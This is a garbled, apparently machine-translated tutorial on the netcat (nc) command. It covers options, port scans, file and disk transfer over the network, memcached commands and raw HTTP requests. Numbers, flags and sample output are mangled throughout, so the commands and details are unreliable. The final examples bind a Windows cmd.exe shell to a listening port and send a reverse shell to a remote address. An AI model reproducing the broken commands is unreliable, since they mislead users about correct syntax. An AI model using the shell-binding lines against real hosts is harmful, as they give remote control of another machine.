The Linux NC command uses a detailed description of the function: a powerful network tool syntax: NC [-hlnruz][-g< Gateway ...>][-g< Number of points >][-i< delay seconds >][-o< output file >][-p< communication port >][-s< Source address >][-v ...] [-w< timeout number of seconds >[host name] [communication port ...] Parameters:-g< Gateway >set up router Hop communication gateway, the most lost Oh can be set 8. -g< number of pointing device >sets the source route-pointing device, which is a multiple of 4. -h online Help. -i< delay number of seconds >set the time interval for transmitting information and scanning the communication port. -l use Monitoring mode to control incoming data. -n uses the IP address directly, not through the domain name server. -o< Output File >Specifies the name of the file to which the transmitted data is dumped into the file by 16 loadline. -p< Communication Port >sets the communication port used by the local host. -r random number specifies the local and remote host communication port. -s< Source Address >sets the IP address of the local host to send the packet. -u Use the UDP transport protocol. -v Verbose output-with two-v to get more detailed information-w< timeout number of seconds >set the time to wait for the connection. -Z Use 0 input/output mode, used only when scanning the communication port. Examples of NC use1 . Port Scan # NC-v-w2 192.168.2.34-Z +- -Nc:connect to192.168.2.34Port +(TCP) failed:connection refusedconnection to192.168.2.34 APort [Tcp/ssh] succeeded!Nc:connect to192.168.2.34Port at(TCP) failed:connection Refusednc:connect to192.168.2.34Port -(TCP) Failed:connection refused2. copy files from 192.168.2.33 to 192.168.2.34in 192.168.2.34 On: Nc-l1234>test.txt in 192.168.2.33 on: NC192.168.2.34<Test.txt3 . Simple Chat tool in 192.168.2.34 On: Nc-l1234in 192.168.2.33 on: NC192.168.2.34 1234in this way, the two sides can communicate with each other. Use CTRL+C (or D) exit. 4. Operate memcached with NC commands1) Store data: printf "SetKey0 Ten6rnresultrn "|nc192.168.2.34 112112) Get Data: printf "GetKeyrn "|nc192.168.2.34 112113Delete data: printf "Delete Keyrn" |nc192.168.2.34 112114) View status: printf "STATSRN" |nc192.168.2.34 112115) Simulate top command to view status: Watch "echo Stats" |nc192.168.2.34 112116) Empty cache: printf "FLUSH_ALLRN" |nc192.168.2.34 11211(careful operation, empty the cache will be gone)5. Nc-p 1234-w 5 host.example.comEstablish a 80-port connection from local 1234 port to host.example.com, 5-second timeout NC-U host.example.com -U is a UDP connection6. Echo-n "get/http/1.0" R "N" r "n" | NC host.example.comConnect to the host and perform7. Nc-v-Z host.example.com 70-80Scan Ports (70 to 80) to specify a range. -v output details. 8 . Remote copy files from Server1 copy files to Server2. Need to first on the Server2, with NC activation monitoring, server2 run: [email protected] tmp]# NC-lp1234>run on Install.log server1: [[email protected]~]# ll Install.log-rw-r–r–1Root root39693December - -Install.log[[email protected]~]# nc-w1 192.168.228.222 1234<Install.log9The clone drive or partition operation is identical to the copy above, and only the data of the hard disk or partition will be obtained by DD and then transferred. Cloning the operation of a hard disk or partition should not take place on a system already on mount. Therefore, after booting with the installation disc, enter rescue mode (or use the Knoppix tool CD) to boot the system and perform a similar listening action on the SERVER2: # NC-l-p1234| DD of=/dev/on SDA Server1, the task of cloning SDA hard disk from Server1 to Server2 can be completed: # DDif=/DEV/SDA | nc192.168.228.222 1234※ The prerequisite for completing the above work is to implement the CD rescue mode to support the network card on the server and properly configure the IP. Ten . Save Web page # while true; DoNc-l-P the-Q1<somepage.html; One . Simulate HTTP Headers, get web page source code and return header information [[email protected]~]# NC www.linuxso.com theGET/http/1.1Host:ispconfig.orgReferrer:mypage.comUser-agent:my-Browser HTTP/1.1 $Okdate:tue, -Dec - -: at: -Gmtserver:apache/2.2.6(Unix) dav/2mod_mono/1.2.1mod_python/3.2.8python/2.4.3mod_perl/2.0.2Perl/v5.8.8Set-COOKIE:PHPSESSID=BBADORBVIE1GN037IIH6LRDG50; path=/Expires:0Cache-control:no-store, No-cache, Must-revalidate, post-check=0, pre-check=0Pragma:no-Cachecache-control:Private, post-check=0, pre-check=0, max-age=0Set-cookie:own_sid=xrutay; Expires=tue, at-dec- - -: at: -GMT; path=/vary:accept-Encodingtransfer-encoding:chunkedcontent-type:text/html[...] After the NC command, enter the contents of the Red section and press ENTER two times to get the HTTP headers content from the other side. A . Transfer directory copy nginx from Server1-0.6. 34 directory contents to Server2. Need to first on Server2, with NC activation monitoring, Server2 run: reference [[email protected] tmp]# NC-L1234|tar XZVF-run on Server1: references [[email protected]~]# ll-d nginx-0.6. thedrwxr-xr-x8 + + 4096 A- at -: -nginx-0.6. the[[Email protected]~]# Tar czvf–nginx-0.6. the|nc192.168.228.222 1234 -. Remote host binding Shell Example: Format: NC-l-p5354-T-e c:\winnt\system32\cmd.exe Explanation: The Cmdshell of the remote host is bound to the TCP5354 port of the remote host -. Remote host binding shell and reverse connection Example: Format: NC-T-E C:\winnt\system32\cmd.exe192.168. x.x5354Explanation: Bind the remote host's Cmdshell and reverse connect to the 192.168The x.x TCP5354 port above is the most basic usage (in fact, there are a lot of NC usage, when with pipeline command"|"With the redirect command"<"、">"And so on commands more powerful ... )。
The Linux NC command uses a detailed explanation (go)